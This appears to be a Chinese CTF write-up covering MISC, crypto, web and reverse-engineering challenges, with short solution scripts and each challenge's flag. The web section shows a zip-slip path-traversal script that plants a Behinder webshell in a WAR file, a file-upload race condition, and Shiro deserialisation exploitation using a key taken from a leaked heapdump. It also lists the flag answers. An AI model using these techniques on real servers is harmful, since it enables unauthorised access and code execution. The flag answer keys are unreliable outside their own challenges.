MISC
查看图片属性
base16解码
flag值：
flag{585abd6e451a4b4f96ecf04060167bd9}
潦草的笔记
在linux命令行中，按照图上标识的，一直用Tab键补齐就好
如果不知道是什么，就用find命令试试就好了
flag{63a9f0ea7bb98050796b649e85481845}
这可是关键信息
文档给了个这个
github上搜索qingteng-wglab得到一张gif
搜到flag
flag{0b6db90034ac4494956679a100e236fc}
恢复不完整的网工材料
将头部补充完整，得到压缩包分析流量
分析流量，开启监听，安装上面的提示操作即可得到flag
flag{b992a1dd105c5b1e9ceed90ad6a75457}
CRYPTO
Hi There
文档内容：Hhbe1cie93bfTFbcc2hl94e2ea1c91rgab5fei3432Tse498
按照题目提示：flag格式：flag{32位md5}
flag{b9b91a3ee3c4cb441bce9539cf221f28}
低音吉他谱
base全家桶直接使用羽师傅博客里面的脚本
import base64
import base91
import base58
import py3base92
def hex_to_str(s):
k=''
for i in range(0,len(s),2):
j = s[i]+s[i+1]
k+=chr(int(j,16))
print('16')
return k
def ba32(s):
s = base64.b32decode(s)
s = bytes.decode(s)
print('32')
return s
def ba58(s):
s = base58.b58decode(s)
s = bytes.decode(s)
print('58')
return s
def ba64(s):
s = base64.b64decode(s)
s = bytes.decode(s)
print('64')
return s
def baa85(s):
s = base64.a85decode(s)
s = bytes.decode(s)
print('a85')
return s
def bab85(s):
s = base64.b85decode(s)
s = bytes.decode(s)
print('b85')
return s
def ba91(s):
s = base91.decode(s)
s = s.decode()
print('91')
return s
def ba92(s):
s = py3base92.decode(s)
print('91')
return s
def start(s):
for i in range(50):
if len(s)<50:
print(s)
try:
s=hex_to_str(s)
except:
try:
s=ba32(s)
except:
try:
s=ba58(s)
except:
try:
s=ba64(s)
except:
try:
s = baa85(s)
except:
try:
s=bab85(s)
except:
try:
s = ba92(s)
except:
try:
s=ba91(s)
except:
print('nonono')
if __name__=="__main__":
f = open('flag.txt','r')
s = f.read()
start(s)flag{380a4d5bea49d6a00921d4ed26b9d4ab}
未完成的宣传图
010打开文件，全是坐标
处理坐标
f=['[24, 24]', '[36, 24]', '[48, 24]', '[60, 24]', '[72, 24]', '[84, 24]', '[96, 24]', '[120, 24]', '[156, 24]', '[192, 24]', '[228, 24]', '[252, 24]', '[348, 24]', '[360, 24]', '[384, 24]', '[396, 24]', '[408, 24]', '[420, 24]', '[432, 24]', '[444, 24]', '[456, 24]', '[24, 36]', '[96, 36]', '[156, 36]', '[168, 36]', '[180, 36]', '[192, 36]', '[216, 36]', '[240, 36]', '[276, 36]', '[312, 36]', '[348, 36]', '[384, 36]', '[456, 36]', '[24, 48]', '[48, 48]', '[60, 48]', '[72, 48]', '[96, 48]', '[156, 48]', '[180, 48]', '[228, 48]', '[240, 48]', '[300, 48]', '[312, 48]', '[336, 48]', '[348, 48]', '[384, 48]', '[408, 48]', '[420, 48]', '[432, 48]', '[456, 48]', '[24, 60]', '[48, 60]', '[60, 60]', '[72, 60]', '[96, 60]', '[120, 60]', '[132, 60]', '[168, 60]', '[180, 60]', '[204, 60]', '[216, 60]', '[252, 60]', '[288, 60]', '[348, 60]', '[360, 60]', '[384, 60]', '[408, 60]', '[420, 60]', '[432, 60]', '[456, 60]', '[24, 72]', '[48, 72]', '[60, 72]', '[72, 72]', '[96, 72]', '[144, 72]', '[156, 72]', '[168, 72]', '[192, 72]', '[216, 72]', '[264, 72]', '[276, 72]', '[324, 72]', '[348, 72]', '[360, 72]', '[384, 72]', '[408, 72]', '[420, 72]', '[432, 72]', '[456, 72]', '[24, 84]', '[96, 84]', '[132, 84]', '[144, 84]', '[168, 84]', '[180, 84]', '[204, 84]', '[228, 84]', '[288, 84]', '[300, 84]', '[336, 84]', '[348, 84]', '[360, 84]', '[384, 84]', '[456, 84]', '[24, 96]', '[36, 96]', '[48, 96]', '[60, 96]', '[72, 96]', '[84, 96]', '[96, 96]', '[120, 96]', '[144, 96]', '[168, 96]', '[192, 96]', '[216, 96]', '[240, 96]', '[264, 96]', '[288, 96]', '[312, 96]', '[336, 96]', '[360, 96]', '[384, 96]', '[396, 96]', '[408, 96]', '[420, 96]', '[432, 96]', '[444, 96]', '[456, 96]', '[156, 108]', '[180, 108]', '[192, 108]', '[216, 108]', '[228, 108]', '[240, 108]', '[252, 108]', '[276, 108]', '[288, 108]', '[300, 108]', '[348, 108]', '[360, 108]', '[48, 120]', '[72, 120]', '[84, 120]', '[96, 120]', '[120, 120]', '[156, 120]', '[204, 120]', '[240, 120]', '[264, 120]', '[276, 120]', '[288, 120]', '[372, 120]', '[420, 120]', '[456, 120]', '[48, 132]', '[60, 132]', '[84, 132]', '[120, 132]', '[168, 132]', '[204, 132]', '[228, 132]', '[252, 132]', '[276, 132]', '[288, 132]', '[300, 132]', '[312, 132]', '[324, 132]', '[348, 132]', '[384, 132]', '[456, 132]', '[36, 144]', '[48, 144]', '[96, 144]', '[108, 144]', '[228, 144]', '[276, 144]', '[312, 144]', '[372, 144]', '[384, 144]', '[396, 144]', '[408, 144]', '[432, 144]', '[456, 144]', '[24, 156]', '[36, 156]', '[84, 156]', '[120, 156]', '[132, 156]', '[144, 156]', '[156, 156]', '[168, 156]', '[180, 156]', '[192, 156]', '[240, 156]', '[252, 156]', '[300, 156]', '[324, 156]', '[336, 156]', '[348, 156]', '[384, 156]', '[456, 156]', '[24, 168]', '[36, 168]', '[48, 168]', '[72, 168]', '[84, 168]', '[96, 168]', '[108, 168]', '[120, 168]', '[132, 168]', '[156, 168]', '[168, 168]', '[180, 168]', '[192, 168]', '[204, 168]', '[300, 168]', '[324, 168]', '[336, 168]', '[372, 168]', '[384, 168]', '[396, 168]', '[456, 168]', '[24, 180]', '[48, 180]', '[84, 180]', '[120, 180]', '[132, 180]', '[192, 180]', '[204, 180]', '[216, 180]', '[228, 180]', '[240, 180]', '[276, 180]', '[312, 180]', '[324, 180]', '[336, 180]', '[384, 180]', '[396, 180]', '[444, 180]', '[456, 180]', '[24, 192]', '[36, 192]', '[48, 192]', '[60, 192]', '[72, 192]', '[96, 192]', '[108, 192]', '[120, 192]', '[132, 192]', '[144, 192]', '[168, 192]', '[216, 192]', '[288, 192]', '[372, 192]', '[384, 192]', '[444, 192]', '[456, 192]', '[72, 204]', '[84, 204]', '[108, 204]', '[120, 204]', '[132, 204]', '[168, 204]', '[192, 204]', '[216, 204]', '[228, 204]', '[240, 204]', '[264, 204]', '[300, 204]', '[312, 204]', '[324, 204]', '[336, 204]', '[348, 204]', '[360, 204]', '[372, 204]', '[396, 204]', '[444, 204]', '[36, 216]', '[48, 216]', '[96, 216]', '[108, 216]', '[144, 216]', '[156, 216]', '[168, 216]', '[192, 216]', '[228, 216]', '[252, 216]', '[276, 216]', '[324, 216]', '[360, 216]', '[372, 216]', '[384, 216]', '[444, 216]', '[456, 216]', '[24, 228]', '[36, 228]', '[72, 228]', '[84, 228]', '[108, 228]', '[144, 228]', '[216, 228]', '[288, 228]', '[300, 228]', '[324, 228]', '[360, 228]', '[372, 228]', '[384, 228]', '[420, 228]', '[444, 228]', '[456, 228]', '[24, 240]', '[36, 240]', '[48, 240]', '[60, 240]', '[72, 240]', '[96, 240]', '[144, 240]', '[156, 240]', '[180, 240]', '[192, 240]', '[204, 240]', '[228, 240]', '[252, 240]', '[276, 240]', '[336, 240]', '[360, 240]', '[372, 240]', '[384, 240]', '[396, 240]', '[408, 240]', '[420, 240]', '[444, 240]', '[456, 240]', '[48, 252]', '[72, 252]', '[84, 252]', '[120, 252]', '[144, 252]', '[168, 252]', '[192, 252]', '[204, 252]', '[228, 252]', '[264, 252]', '[276, 252]', '[288, 252]', '[312, 252]', '[324, 252]', '[336, 252]', '[360, 252]', '[372, 252]', '[384, 252]', '[420, 252]', '[444, 252]', '[456, 252]', '[24, 264]', '[48, 264]', '[60, 264]', '[72, 264]', '[96, 264]', '[108, 264]', '[144, 264]', '[156, 264]', '[180, 264]', '[192, 264]', '[204, 264]', '[264, 264]', '[276, 264]', '[312, 264]', '[324, 264]', '[360, 264]', '[384, 264]', '[420, 264]', '[444, 264]', '[456, 264]', '[24, 276]', '[36, 276]', '[48, 276]', '[120, 276]', '[156, 276]', '[168, 276]', '[180, 276]', '[204, 276]', '[252, 276]', '[312, 276]', '[324, 276]', '[360, 276]', '[384, 276]', '[444, 276]', '[456, 276]', '[72, 288]', '[96, 288]', '[108, 288]', '[120, 288]', '[132, 288]', '[144, 288]', '[168, 288]', '[180, 288]', '[216, 288]', '[252, 288]', '[264, 288]', '[276, 288]', '[312, 288]', '[336, 288]', '[372, 288]', '[396, 288]', '[408, 288]', '[420, 288]', '[432, 288]', '[444, 288]', '[456, 288]', '[24, 300]', '[36, 300]', '[48, 300]', '[72, 300]', '[84, 300]', '[132, 300]', '[144, 300]', '[156, 300]', '[180, 300]', '[192, 300]', '[216, 300]', '[228, 300]', '[240, 300]', '[264, 300]', '[276, 300]', '[324, 300]', '[336, 300]', '[348, 300]', '[396, 300]', '[420, 300]', '[444, 300]', '[456, 300]', '[36, 312]', '[72, 312]', '[96, 312]', '[192, 312]', '[204, 312]', '[216, 312]', '[228, 312]', '[240, 312]', '[252, 312]', '[288, 312]', '[336, 312]', '[360, 312]', '[384, 312]', '[420, 312]', '[456, 312]', '[36, 324]', '[48, 324]', '[108, 324]', '[132, 324]', '[156, 324]', '[216, 324]', '[228, 324]', '[300, 324]', '[324, 324]', '[336, 324]', '[348, 324]', '[360, 324]', '[372, 324]', '[420, 324]', '[444, 324]', '[456, 324]', '[24, 336]', '[48, 336]', '[60, 336]', '[72, 336]', '[96, 336]', '[120, 336]', '[144, 336]', '[192, 336]', '[228, 336]', '[252, 336]', '[288, 336]', '[324, 336]', '[336, 336]', '[348, 336]', '[360, 336]', '[396, 336]', '[408, 336]', '[420, 336]', '[444, 336]', '[456, 336]', '[36, 348]', '[48, 348]', '[60, 348]', '[72, 348]', '[84, 348]', '[120, 348]', '[132, 348]', '[144, 348]', '[168, 348]', '[180, 348]', '[192, 348]', '[216, 348]', '[228, 348]', '[252, 348]', '[276, 348]', '[300, 348]', '[324, 348]', '[360, 348]', '[384, 348]', '[396, 348]', '[408, 348]', '[420, 348]', '[456, 348]', '[24, 360]', '[48, 360]', '[60, 360]', '[84, 360]', '[96, 360]', '[120, 360]', '[144, 360]', '[180, 360]', '[192, 360]', '[240, 360]', '[264, 360]', '[276, 360]', '[288, 360]', '[312, 360]', '[324, 360]', '[348, 360]', '[360, 360]', '[372, 360]', '[384, 360]', '[396, 360]', '[408, 360]', '[420, 360]', '[456, 360]', '[120, 372]', '[180, 372]', '[204, 372]', '[216, 372]', '[228, 372]', '[240, 372]', '[252, 372]', '[276, 372]', '[312, 372]', '[324, 372]', '[348, 372]', '[360, 372]', '[408, 372]', '[432, 372]', '[456, 372]', '[24, 384]', '[36, 384]', '[48, 384]', '[60, 384]', '[72, 384]', '[84, 384]', '[96, 384]', '[132, 384]', '[144, 384]', '[156, 384]', '[204, 384]', '[216, 384]', '[228, 384]', '[240, 384]', '[264, 384]', '[276, 384]', '[288, 384]', '[324, 384]', '[348, 384]', '[360, 384]', '[384, 384]', '[408, 384]', '[432, 384]', '[456, 384]', '[24, 396]', '[96, 396]', '[120, 396]', '[144, 396]', '[204, 396]', '[216, 396]', '[228, 396]', '[252, 396]', '[276, 396]', '[288, 396]', '[324, 396]', '[360, 396]', '[408, 396]', '[456, 396]', '[24, 408]', '[48, 408]', '[60, 408]', '[72, 408]', '[96, 408]', '[120, 408]', '[168, 408]', '[180, 408]', '[216, 408]', '[228, 408]', '[240, 408]', '[252, 408]', '[276, 408]', '[312, 408]', '[324, 408]', '[360, 408]', '[372, 408]', '[384, 408]', '[396, 408]', '[408, 408]', '[456, 408]', '[24, 420]', '[48, 420]', '[60, 420]', '[72, 420]', '[96, 420]', '[132, 420]', '[144, 420]', '[156, 420]', '[168, 420]', '[180, 420]', '[204, 420]', '[216, 420]', '[228, 420]', '[264, 420]', '[276, 420]', '[288, 420]', '[300, 420]', '[312, 420]', '[324, 420]', '[348, 420]', '[372, 420]', '[396, 420]', '[408, 420]', '[420, 420]', '[444, 420]', '[456, 420]', '[24, 432]', '[48, 432]', '[60, 432]', '[72, 432]', '[96, 432]', '[120, 432]', '[168, 432]', '[180, 432]', '[192, 432]', '[228, 432]', '[252, 432]', '[288, 432]', '[300, 432]', '[312, 432]', '[324, 432]', '[336, 432]', '[348, 432]', '[360, 432]', '[372, 432]', '[396, 432]', '[408, 432]', '[432, 432]', '[456, 432]', '[24, 444]', '[96, 444]', '[132, 444]', '[144, 444]', '[192, 444]', '[204, 444]', '[216, 444]', '[228, 444]', '[240, 444]', '[252, 444]', '[264, 444]', '[276, 444]', '[312, 444]', '[324, 444]', '[348, 444]', '[360, 444]', '[372, 444]', '[396, 444]', '[420, 444]', '[444, 444]', '[24, 456]', '[36, 456]', '[48, 456]', '[60, 456]', '[72, 456]', '[84, 456]', '[96, 456]', '[144, 456]', '[168, 456]', '[192, 456]', '[228, 456]', '[240, 456]', '[264, 456]', '[276, 456]', '[288, 456]', '[300, 456]', '[312, 456]', '[324, 456]', '[348, 456]', '[360, 456]', '[372, 456]', '[396, 456]', '[408, 456]', '[420, 456]', '[444, 456]', '[456, 456]']
print(len(f))
for i in (f):
print(i)坐标画图
import matplotlib.pyplot as plt
import numpy as np
x, y = np.loadtxt('./f.txt', delimiter=',', unpack=True)
print(x,y)
plt.plot(x, y, '.', marker='o')
plt.show()
flag{1e52c4c05dcff5fcc54b64e21bcbdc9e}
上传你的压缩包吧
存在解压getshell漏洞，这里用冰蝎自带的马shell.jsp
执行jar cf shell.war *，然后脚本写入
import zipfile
z = zipfile.ZipFile('test.zip', 'w', zipfile.ZIP_DEFLATED)
with open('shell.war','rb') as f:
temp=f.read()
z.writestr('../../test.war',temp) #test.war
flag{335767b9cb11324cbfb97a741815ad30}
上传你的头像吧
文件上传白名单检测，条件竞争
上传成功
getflag
flag{1be94a172cea70c31d9cc517b8065c6e}
休想爆破我
使用shiro检测工具检测存在shrio漏洞，无法爆破key，接下来需要找key
使用dirsearch可以扫到heapdump，访问下载,使用MemoryAnalyzer查看heapdump文件，搜索remember
key： 7SEjcv1PVgRs00WV2rgh6Q==
使用shiro_attack工具爆破回显和构造链
直接命令执行，getflag
flag{15e23926f59f07a555b2b29ab62ac580}
RE
Re1
用IDA打开分析
加密之后的字符串给v10，再向sub_4012A0传入Dst
v4就是传入的Dst也就是flag，flag和在byte_404020 里的值异或，并把结果给 v5
str = 'gnbc~0221gg00>4f;g221944=1>62c61=3d71~'
a = [1,2,3,4,5,6,7]
str = list(map(ord,str))
m = 0
for i in str:
print(chr(i^a[m%7]),end='')
m += 1flag{6533dc5695d8c74686794813a5585c63}、
Re2---------哈哈哈不知道为什么比赛会有原题不敢问
参考这位师傅
https://www.cnblogs.com/wgf4242/p/15129888.html`
flag{3bc740a5-74d9-4b0e-a4e0-caf609b7c1c0}
Re4 ----2021鹤城杯原题
flag{96c69646-8184-4363-8de9-73f7398066c1}